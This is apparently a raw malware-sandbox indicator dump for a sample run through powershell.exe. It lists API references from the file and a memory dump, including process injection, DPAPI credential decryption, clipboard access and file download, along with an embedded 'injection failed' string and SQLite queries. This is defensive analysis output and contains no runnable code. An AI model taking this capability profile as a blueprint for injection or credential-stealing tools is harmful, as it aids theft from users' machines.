CreateSymbolicLinkW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00001552) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00001552)40:Tf90,"CREATE TABLE x" (Source: file, Indicator: "create table x") "CREATE TABLE %Q.'%q_%q'(%s)%s" (Source: file, Indicator: "create table %q.'%q_%q'(%s)%s"), "SELECT rowid rank FROM %Q.%Q ORDER BY %s("%w"%s%s) %s" (Source: file, Indicator: "select rowid rank from %q.%q order by %s("%w"%s%s) %s"), "INSERT INTO"%w"."%w_rowid"(rowid,nodeno)VALUES(?1,?2)ON CONFLICT(rowid)DO UPDATE SET nodeno=excluded.nodeno" (Source: file, Indicator: "insert into"%w"."%w_rowid"(rowid,nodeno)values(?1,?2)on conflict(rowid)do update set nodeno=excluded.nodeno"), "CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY,nodeno" (Source: file, Indicator: "create table "%w"."%w_rowid"(rowid integer primary key,nodeno") "DELETE from" (Source: file, Indicator: "delete from") "SELECT idx,count(*) FROM %Q.sqlite_stat4 GROUP BY idx COLLATE nocase" (Source: file, Indicator: "select idx,count(*) from %q.sqlite_stat4 group by idx collate nocase"), "SELECT*FROM"%w".%s ORDER BY rowid" (Source: file, Indicator: "select*from"%w".%s order by rowid"), "SELECT*FROM"%w".%s WHERE %s ORDER BY rowid" (Source: file, Indicator: "select*from"%w".%s where %s order by rowid"), "UPDATE %Q.sqlite_master SET rootpage=%d WHERE #%d AND rootpage=#%d" (Source: file, Indicator: "update %q.sqlite_master set rootpage=%d where #%d and rootpage=#%d"), "UPDATE %Q.sqlite_master SET type='%s' name=%Q tbl_name=%Q rootpage=#%d sql=%Q WHERE rowid=#%d" (Source: file, Indicator: "update %q.sqlite_master set type='%s' name=%q tbl_name=%q rootpage=#%d sql=%q where rowid=#%d"), "UPDATE %Q.sqlite_master SET type='table' name=%Q tbl_name=%Q rootpage=0 sql=%Q WHERE rowid=#%d" (Source: file, Indicator: "update %q.sqlite_master set type='table' name=%q tbl_name=%q rootpage=0 sql=%q where rowid=#%d"), "CREATE TABLE x(%.*s INT" (Source: file, Indicator: "create table x(%.*s int") "SELECT %s FROM %s AS T" (Source: file, Indicator: "select %s from %s as t") "DELETE FROM %Q.%s WHERE %s=%Q" (Source: file, Indicator: "delete from %q.%s where %s=%q") "DELETE FROM %Q.sqlite_sequence WHERE name=%Q" (Source: file, Indicator: "delete from %q.sqlite_sequence where name=%q") "SELECT * FROM %Q.%Q" (Source: file, Indicator: "select * from %q.%q") "UPDATE "%w".sqlite_sequence set name = %Q WHERE name = %Q" (Source: file, Indicator: "update "%w".sqlite_sequence set name = %q where name = %q") "UPDATE "%w".sqlite_master SET sql = printf('%%.%ds, ',sql) || %Q || substr(sql,1+length(printf('%%.%ds',sql))) WHERE type = 'table' AND name = %Q" (Source: file, Indicator: "update "%w".sqlite_master set sql = printf('%%.%ds, ',sql) || %q || substr(sql,1+length(printf('%%.%ds',sql))) where type = 'table' and name = %q"), "SELECT 1 FROM %Q.'%q_segments' WHERE blockid=? AND block IS NULL" (Source: file, Indicator: "select 1 from %q.'%q_segments' where blockid=? and block is null"), "SELECT %s FROM %s T WHERE T.%Q <= ? AND T.%Q >= ? ORDER BY T.%Q DESC" (Source: file, Indicator: "select %s from %s t where t.%q <= ? and t.%q >= ? order by t.%q desc"), "SELECT idx start_block leaves_end_block end_block root FROM %Q.'%q_segdir' WHERE level = ? ORDER BY idx ASC" (Source: file, Indicator: "select idx start_block leaves_end_block end_block root from %q.'%q_segdir' where level = ? order by idx asc"), "SELECT idx start_block leaves_end_block end_block root FROM %Q.'%q_segdir' WHERE level BETWEEN ? AND ?ORDER BY level DESC idx ASC" (Source: file, Indicator: "select idx start_block leaves_end_block end_block root from %q.'%q_segdir' where level between ? and ?order by level desc idx asc"), "SELECT level idx end_block FROM %Q.'%q_segdir' WHERE level BETWEEN ? AND ? ORDER BY level DESC idx ASC" (Source: file, Indicator: "select level idx end_block from %q.'%q_segdir' where level between ? and ? order by level desc idx asc"), "SELECT %s FROM %s T WHERE T.%Q >= ? AND T.%Q <= ? ORDER BY T.%Q ASC" (Source: file, Indicator: "select %s from %s t where t.%q >= ? and t.%q <= ? order by t.%q asc")41:T9aa,Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; File: "file") Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "file") Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "file") Found reference to API "NtCreateFile" (Indicator: "CreateFile"; File: "file") Found reference to API "NtCreateFile" (Indicator: "NtCreateFile"; File: "file") Found reference to API "NtOpenFile" (Indicator: "NtOpenFile"; File: "file") Found reference to API "kernel32.dllLoadLibraryACoInitializeExCoCreateInstanceCoSetProxyBlanketCreateFileAWriteFileCloseHandleinjection failed: all IIDs exhaustedinjection returned emptyck_.bin" (Indicator: "CreateFile"; File: "file") Found reference to API "CreateFileMappingFromApp" (Indicator: "CreateFile"; File: "file") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; File: "file") Found reference to API "CreateFile2" (Indicator: "CreateFile"; File: "file") Found reference to API "kernel32.dllLoadLibraryACoInitializeExCoCreateInstanceCoSetProxyBlanketCreateFileAWriteFileCloseHandleinjection failed: all IIDs exhaustedinjection returned emptyck_.bin" (Indicator: "CreateFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "CreateFileMappingFromApp" (Indicator: "CreateFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "CreateFileMappingW" (Indicator: "CreateFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "CreateFileW" (Indicator: "CreateFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "CreateFileMappingA" (Indicator: "CreateFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "CreateFile2" (Indicator: "CreateFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "NtCreateFile" (Indicator: "CreateFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "NtCreateFile" (Indicator: "NtCreateFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "NtOpenFile" (Indicator: "NtOpenFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")42:Td099,Found reference to API (Indicator: "GetLengthSid"; File: "file") Found reference to API (Indicator: "RegQueryValueExW"; File: "file") Found reference to API (Indicator: "RegCreateKeyExW"; File: "file") Found reference to API (Indicator: "ConvertSidToStringSidW"; File: "file") Found reference to API (Indicator: "GetUserNameW"; File: "file") Found reference to API (Indicator: "GetTokenInformation"; File: "file") Found reference to API (Indicator: "LookupAccountNameW"; File: "file") Found reference to API (Indicator: "IsValidSid"; File: "file") Found reference to API (Indicator: "RegEnumKeyExW"; File: "file") Found reference to API (Indicator: "RegOpenKeyExW"; File: "file") Found reference to API (Indicator: "RegSetValueExW"; File: "file") Found reference to API (Indicator: "CopySid"; File: "file") Found reference to API (Indicator: "OpenProcessToken"; File: "file") Found reference to API (Indicator: "RegCloseKey"; File: "file") Found reference to API (Indicator: "SetHandleInformation"; File: "file") Found reference to API (Indicator: "FindClose"; File: "file") Found reference to API (Indicator: "ReadProcessMemory"; File: "file") Found reference to API (Indicator: "FindVolumeClose"; File: "file") Found reference to API (Indicator: "CreateMutexA"; File: "file") Found reference to API (Indicator: "GetFullPathNameA"; File: "file") Found reference to API (Indicator: "GetSystemInfo"; File: "file") Found reference to API (Indicator: "LoadLibraryW"; File: "file") Found reference to API (Indicator: "GetTempPathW"; File: "file") Found reference to API (Indicator: "LeaveCriticalSection"; File: "file") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "file") Found reference to API (Indicator: "HeapValidate"; File: "file") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "file") Found reference to API (Indicator: "FindFirstVolumeW"; File: "file") Found reference to API (Indicator: "GetConsoleMode"; File: "file") Found reference to API (Indicator: "GetStdHandle"; File: "file") Found reference to API (Indicator: "LockFile"; File: "file") Found reference to API (Indicator: "CreateProcessW"; File: "file") Found reference to API (Indicator: "GetStartupInfoW"; File: "file") Found reference to API (Indicator: "OutputDebugStringW"; File: "file") Found reference to API (Indicator: "GetFileAttributesA"; File: "file") Found reference to API (Indicator: "WaitForSingleObjectEx"; File: "file") Found reference to API (Indicator: "DuplicateHandle"; File: "file") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "file") Found reference to API (Indicator: "FormatMessageA"; File: "file") Found reference to API (Indicator: "FindNextFileW"; File: "file") Found reference to API (Indicator: "TlsSetValue"; File: "file") Found reference to API (Indicator: "SetStdHandle"; File: "file") Found reference to API (Indicator: "lstrlenW"; File: "file") Found reference to API (Indicator: "FormatMessageW"; File: "file") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; File: "file") Found reference to API (Indicator: "GetDriveTypeW"; File: "file") Found reference to API (Indicator: "IsProcessorFeaturePresent"; File: "file") Found reference to API (Indicator: "Sleep"; File: "file") Found reference to API (Indicator: "WaitForSingleObject"; File: "file") Found reference to API (Indicator: "GetProcAddress"; File: "file") Found reference to API (Indicator: "FreeLibrary"; File: "file") Found reference to API (Indicator: "FlushFileBuffers"; File: "file") Found reference to API (Indicator: "GetCommandLineW"; File: "file") Found reference to API (Indicator: "FindFirstFileExW"; File: "file") Found reference to API (Indicator: "CopyFileExW"; File: "file") Found reference to API (Indicator: "WriteProcessMemory"; File: "file") Found reference to API (Indicator: "AreFileApisANSI"; File: "file") Found reference to API (Indicator: "GetProcessHeap"; File: "file") Found reference to API (Indicator: "CreateDirectoryW"; File: "file") Found reference to API (Indicator: "GetConsoleCP"; File: "file") Found reference to API (Indicator: "HeapSize"; File: "file") Found reference to API (Indicator: "VirtualQueryEx"; File: "file") Found reference to API (Indicator: "FindFirstFileExA"; File: "file") Found reference to API (Indicator: "HeapReAlloc"; File: "file") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; File: "file") Found reference to API (Indicator: "DeviceIoControl"; File: "file") Found reference to API (Indicator: "CreateWaitableTimerExW"; File: "file") Found reference to API (Indicator: "SetFilePointerEx"; File: "file") Found reference to API (Indicator: "HeapDestroy"; File: "file") Found reference to API (Indicator: "SetFileCompletionNotificationModes"; File: "file") Found reference to API (Indicator: "TryEnterCriticalSection"; File: "file") Found reference to API (Indicator: "GetCurrentProcess"; File: "file") Found reference to API (Indicator: "GetCPInfo"; File: "file") Found reference to API (Indicator: "OpenProcess"; File: "file") Found reference to API (Indicator: "SystemTimeToFileTime"; File: "file") Found reference to API (Indicator: "UnlockFile"; File: "file") Found reference to API (Indicator: "GetModuleFileNameW"; File: "file") Found reference to API (Indicator: "GetWindowsDirectoryW"; File: "file") Found reference to API (Indicator: "FreeLibraryAndExitThread"; File: "file") Found reference to API (Indicator: "LoadLibraryA"; File: "file") Found reference to API (Indicator: "InitializeSListHead"; File: "file") Found reference to API (Indicator: "LoadLibraryExW"; File: "file") Found reference to API (Indicator: "GetStringTypeW"; File: "file") Found reference to API (Indicator: "GetVolumeInformationW"; File: "file") Found reference to API (Indicator: "UnmapViewOfFile"; File: "file") Found reference to API (Indicator: "SetThreadStackGuarantee"; File: "file") Found reference to API (Indicator: "SetFileInformationByHandle"; File: "file") Found reference to API (Indicator: "LoadLibraryExA"; File: "file") Found reference to API (Indicator: "CreateFileMappingW"; File: "file") Found reference to API (Indicator: "CancelIo"; File: "file") Found reference to API (Indicator: "DeleteCriticalSection"; File: "file") Found reference to API (Indicator: "GetFileType"; File: "file") Found reference to API (Indicator: "GetComputerNameExW"; File: "file") Found reference to API (Indicator: "GetCurrentProcessId"; File: "file") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "file") Found reference to API (Indicator: "GetConsoleOutputCP"; File: "file") Found reference to API (Indicator: "LCMapStringW"; File: "file") Found reference to API (Indicator: "GetTempPathA"; File: "file") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "file") Found reference to API (Indicator: "WaitForMultipleObjects"; File: "file") Found reference to API (Indicator: "GetModuleHandleExW"; File: "file") Found reference to API (Indicator: "CreateFileA"; File: "file") Found reference to API (Indicator: "GetCurrentThreadId"; File: "file") Found reference to API (Indicator: "TerminateProcess"; File: "file") Found reference to API (Indicator: "SleepEx"; File: "file") Found reference to API (Indicator: "SetLastError"; File: "file") Found reference to API (Indicator: "GetFileInformationByHandle"; File: "file") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "file") Found reference to API (Indicator: "ReleaseMutex"; File: "file") Found reference to API (Indicator: "GetACP"; File: "file") Found reference to API (Indicator: "LockFileEx"; File: "file") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "file") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "file") Found reference to API (Indicator: "GetOverlappedResult"; File: "file") Found reference to API (Indicator: "UnlockFileEx"; File: "file") Found reference to API (Indicator: "SwitchToThread"; File: "file") Found reference to API (Indicator: "GetVolumePathNamesForVolumeNameW"; File: "file") Found reference to API (Indicator: "GetComputerNameW"; File: "file") Found reference to API (Indicator: "MapViewOfFile"; File: "file") Found reference to API (Indicator: "HeapFree"; File: "file") Found reference to API (Indicator: "GetProcessIoCounters"; File: "file") Found reference to API (Indicator: "GetExitCodeThread"; File: "file") Found reference to API (Indicator: "GetQueuedCompletionStatusEx"; File: "file") Found reference to API (Indicator: "GetModuleHandleA"; File: "file") Found reference to API (Indicator: "HeapAlloc"; File: "file") Found reference to API (Indicator: "GetFullPathNameW"; File: "file") Found reference to API (Indicator: "GetDiskFreeSpaceW"; File: "file") Found reference to API (Indicator: "OutputDebugStringA"; File: "file") Found reference to API (Indicator: "CreateEventW"; File: "file") Found reference to API (Indicator: "ReadFile"; File: "file") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "file") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "file") Found reference to API (Indicator: "WriteFile"; File: "file") Found reference to API (Indicator: "GetModuleFileNameA"; File: "file") Found reference to API (Indicator: "HeapCompact"; File: "file") Found reference to API (Indicator: "CreateIoCompletionPort"; File: "file") Found reference to API (Indicator: "K32GetPerformanceInfo"; File: "file") Found reference to API (Indicator: "CreateThread"; File: "file") Found reference to API (Indicator: "TlsFree"; File: "file") Found reference to API (Indicator: "GetFileSize"; File: "file") Found reference to API (Indicator: "ReadFileEx"; File: "file") Found reference to API (Indicator: "GetTimeZoneInformation"; File: "file") Found reference to API (Indicator: "WriteFileEx"; File: "file") Found reference to API (Indicator: "ExitThread"; File: "file") Found reference to API (Indicator: "TlsAlloc"; File: "file") Found reference to API (Indicator: "GetCurrentDirectoryW"; File: "file") Found reference to API (Indicator: "GetSystemTime"; File: "file") Found reference to API (Indicator: "EnterCriticalSection"; File: "file") Found reference to API (Indicator: "GetFileInformationByHandleEx"; File: "file") Found reference to API (Indicator: "CreateFileW"; File: "file") Found reference to API (Indicator: "GetOEMCP"; File: "file") Found reference to API (Indicator: "PostQueuedCompletionStatus"; File: "file") Found reference to API (Indicator: "WideCharToMultiByte"; File: "file") Found reference to API (Indicator: "FindNextVolumeW"; File: "file") Found reference to API (Indicator: "DeleteFileW"; File: "file") Found reference to API (Indicator: "MoveFileExW"; File: "file") Found reference to API (Indicator: "GetFinalPathNameByHandleW"; File: "file") Found reference to API (Indicator: "TlsGetValue"; File: "file") Found reference to API (Indicator: "CompareStringW"; File: "file") Found reference to API (Indicator: "GetExitCodeProcess"; File: "file") Found reference to API (Indicator: "ExitProcess"; File: "file") Found reference to API (Indicator: "RtlPcToFileHeader"; File: "file") Found reference to API (Indicator: "CreateMutexW"; File: "file") Found reference to API (Indicator: "DeleteFileA"; File: "file") Found reference to API (Indicator: "QueryPerformanceFrequency"; File: "file") Found reference to API (Indicator: "WriteConsoleW"; File: "file") Found reference to API (Indicator: "IsValidCodePage"; File: "file") Found reference to API (Indicator: "GetCommandLineA"; File: "file") Found reference to API (Indicator: "GetProcessTimes"; File: "file") Found reference to API (Indicator: "FindNextFileA"; File: "file") Found reference to API (Indicator: "MultiByteToWideChar"; File: "file") Found reference to API (Indicator: "SetWaitableTimer"; File: "file") Found reference to API (Indicator: "CloseHandle"; File: "file") Found reference to API (Indicator: "SetEnvironmentVariableA"; File: "file") Found reference to API (Indicator: "IsDebuggerPresent"; File: "file") Found reference to API (Indicator: "GetEnvironmentVariableW"; File: "file") Found reference to API (Indicator: "VirtualAllocEx"; File: "file") Found reference to API (Indicator: "SetFilePointer"; File: "file") Found reference to API (Indicator: "GetCurrentThread"; File: "file") Found reference to API (Indicator: "RtlCaptureContext"; File: "file") Found reference to API (Indicator: "EncodePointer"; File: "file") Found reference to API (Indicator: "CreateRemoteThread"; File: "file") Found reference to API (Indicator: "CompareStringOrdinal"; File: "file") Found reference to API (Indicator: "LocalFree"; File: "file") Found reference to API (Indicator: "GlobalMemoryStatusEx"; File: "file") Found reference to API (Indicator: "GetModuleHandleW"; File: "file") Found reference to API (Indicator: "RaiseException"; File: "file") Found reference to API (Indicator: "InitializeCriticalSection"; File: "file") Found reference to API (Indicator: "GetFileAttributesExW"; File: "file") Found reference to API (Indicator: "HeapCreate"; File: "file") Found reference to API (Indicator: "GetLastError"; File: "file") Found reference to API (Indicator: "GetTickCount"; File: "file") Found reference to API (Indicator: "FlushViewOfFile"; File: "file") Found reference to API (Indicator: "SetEndOfFile"; File: "file") Found reference to API (Indicator: "GetFileAttributesW"; File: "file") Found reference to API (Indicator: "GetSystemTimes"; File: "file") Found reference to API (Indicator: "GetSystemDirectoryW"; File: "file") Found reference to API (Indicator: "AddVectoredExceptionHandler"; File: "file") Found reference to API (Indicator: "BCryptGenRandom"; File: "file") Found reference to API (Indicator: "CertDuplicateCertificateContext"; File: "file") Found reference to API (Indicator: "CertVerifyTimeValidity"; File: "file") Found reference to API (Indicator: "CertEnumCertificatesInStore"; File: "file") Found reference to API (Indicator: "CertCloseStore"; File: "file") Found reference to API (Indicator: "CertFreeCertificateContext"; File: "file") Found reference to API (Indicator: "CryptUnprotectData"; File: "file") Found reference to API (Indicator: "CertOpenStore"; File: "file") Found reference to API (Indicator: "CertGetEnhancedKeyUsage"; File: "file") Found reference to API (Indicator: "NtCreateNamedPipeFile"; File: "file") Found reference to API (Indicator: "NtReadFile"; File: "file") Found reference to API (Indicator: "NtCreateFile"; File: "file") Found reference to API (Indicator: "NtDeviceIoControlFile"; File: "file") Found reference to API (Indicator: "RtlGetVersion"; File: "file") Found reference to API (Indicator: "RtlNtStatusToDosError"; File: "file") Found reference to API (Indicator: "NtQueryInformationProcess"; File: "file") Found reference to API (Indicator: "NtQuerySystemInformation"; File: "file") Found reference to API (Indicator: "NtOpenFile"; File: "file") Found reference to API (Indicator: "NtWriteFile"; File: "file") Found reference to API (Indicator: "CoInitializeEx"; File: "file") Found reference to API (Indicator: "CoUninitialize"; File: "file") Found reference to API (Indicator: "CoCreateInstance"; File: "file") Found reference to API (Indicator: "GetErrorInfo"; File: "file") Found reference to API (Indicator: "SysStringLen"; File: "file") Found reference to API (Indicator: "SysFreeString"; File: "file") Found reference to API (Indicator: "GetModuleFileNameExW"; File: "file") Found reference to API (Indicator: "GetProcessMemoryInfo"; File: "file") Found reference to API (Indicator: "CommandLineToArgvW"; File: "file") Found reference to API (Indicator: "GetSystemMetrics"; File: "file") Found reference to API (Indicator: "WSACleanup"; File: "file") Found reference to API (Indicator: "getsockopt"; File: "file") Found reference to API (Indicator: "WSAIoctl"; File: "file") Found reference to API (Indicator: "closesocket"; File: "file") Found reference to API (Indicator: "WSAGetLastError"; File: "file") Found reference to API (Indicator: "ioctlsocket"; File: "file") Found reference to API (Indicator: "WSASend"; File: "file") Found reference to API (Indicator: "getsockname"; File: "file") Found reference to API (Indicator: "getpeername"; File: "file") Found reference to API (Indicator: "WSAStartup"; File: "file") Found reference to API (Indicator: "SetThreadDescription"; File: "file") Found reference to API (Indicator: "GetNativeSystemInfo"; File: "file") Found reference to API (Indicator: "UuidCreateSequential"; File: "file") Found reference to API (Indicator: "UuidCreate"; File: "file") Found reference to API (Indicator: "FileTimeToSystemTime"; File: "file") Found reference to API (Indicator: "FileTimeToLocalFileTime"; File: "file") Found reference to API (Indicator: "InterlockedCompareExchange"; File: "file") Found reference to API (Indicator: "CreateEventExW"; File: "file") Found reference to API (Indicator: "GetVersionExW"; File: "file") Found reference to API (Indicator: "CharLowerW"; File: "file") Found reference to API (Indicator: "CharUpperW"; File: "file") Found reference to API (Indicator: "GetVersionExA"; File: "file") Found reference to API (Indicator: "CreateFileMappingA"; File: "file") Found reference to API (Indicator: "GetTickCount64"; File: "file") Found reference to API (Indicator: "CreateFile2"; File: "file") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "file") Found reference to API (Indicator: "LCMapStringEx"; File: "file") Found reference to API (Indicator: "CompareStringEx"; File: "file") Found reference to API (Indicator: "FlsSetValue"; File: "file") Found reference to API (Indicator: "FlsGetValue"; File: "file") Found reference to API (Indicator: "FlsFree"; File: "file") Found reference to API (Indicator: "FlsAlloc"; File: "file") Found reference to API (Indicator: "LocaleNameToLCID"; File: "file") Found reference to API (Indicator: "VirtualProtect"; File: "file") Found reference to API (Indicator: "OpenClipboard"; File: "file") Found reference to API (Indicator: "GetClipboardData"; File: "file") Found reference to API (Indicator: "CloseClipboard"; File: "file") Found reference to API (Indicator: "SetClipboardData"; File: "file") Found reference to API (Indicator: "EmptyClipboard"; File: "file") Found reference to API (Indicator: "ImpersonateAnonymousToken"; File: "file") Found reference to API (Indicator: "RevertToSelf"; File: "file") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "file") Found reference to API (Indicator: "GlobalAlloc"; File: "file") Found reference to API (Indicator: "GlobalFree"; File: "file") Found reference to API (Indicator: "CancelIoEx"; File: "file") Found reference to API (Indicator: "SetNamedPipeHandleState"; File: "file") Found reference to API (Indicator: "GlobalLock"; File: "file") Found reference to API (Indicator: "GlobalUnlock"; File: "file") Found reference to API (Indicator: "GlobalSize"; File: "file") Found reference to API (Indicator: "IsValidLocale"; File: "file") Found reference to API (Indicator: "SleepConditionVariableSRW"; File: "file") Found reference to API (Indicator: "ReadConsoleW"; File: "file") Found reference to API (Indicator: "GetFileSizeEx"; File: "file") Found reference to API (Indicator: "AcquireSRWLockExclusive"; File: "file") Found reference to API (Indicator: "DecodePointer"; File: "file") Found reference to API (Indicator: "RtlUnwind"; File: "file") Found reference to API (Indicator: "WakeAllConditionVariable"; File: "file") Found reference to API (Indicator: "EnumSystemLocalesW"; File: "file") Found reference to API (Indicator: "GetUserDefaultLCID"; File: "file") Found reference to API (Indicator: "GetLocaleInfoW"; File: "file") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; File: "file") Found reference to API (Indicator: "GetLocaleInfoEx"; File: "file") Found reference to API (Indicator: "CopyFileW"; File: "file") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; File: "file") Found reference to API (Indicator: "GetStartupInfoA"; File: "file") Found reference to API (Indicator: "SetFileAttributesW"; File: "file") Found reference to API (Indicator: "InterlockedExchange"; File: "file") Found reference to API (Indicator: "ShellExecuteW"; File: "file") Found reference to API (Indicator: "PathFindFileNameW"; File: "file") Found reference to API (Indicator: "PathFileExistsW"; File: "file") Found reference to API (Indicator: "wsprintfW"; File: "file") Found reference to API (Indicator: "InternetReadFile"; File: "file") Found reference to API (Indicator: "DeleteUrlCacheEntryW"; File: "file") Found reference to API (Indicator: "InternetOpenUrlW"; File: "file") Found reference to API (Indicator: "InternetOpenW"; File: "file") Found reference to API (Indicator: "InternetCloseHandle"; File: "file") Found reference to API (Indicator: "URLDownloadToFileW"; File: "file") Found reference to API (Indicator: "SetThreadDescription"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "HeapDestroy"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "UnlockFileEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "LockFileEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandleEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "HeapCompact"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetNativeSystemInfo"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "UuidCreateSequential"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "HeapCreate"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "UuidCreate"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTime"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToLocalFileTime"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "UnlockFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "LockFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "UnmapViewOfFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "MapViewOfFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "FlushViewOfFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: 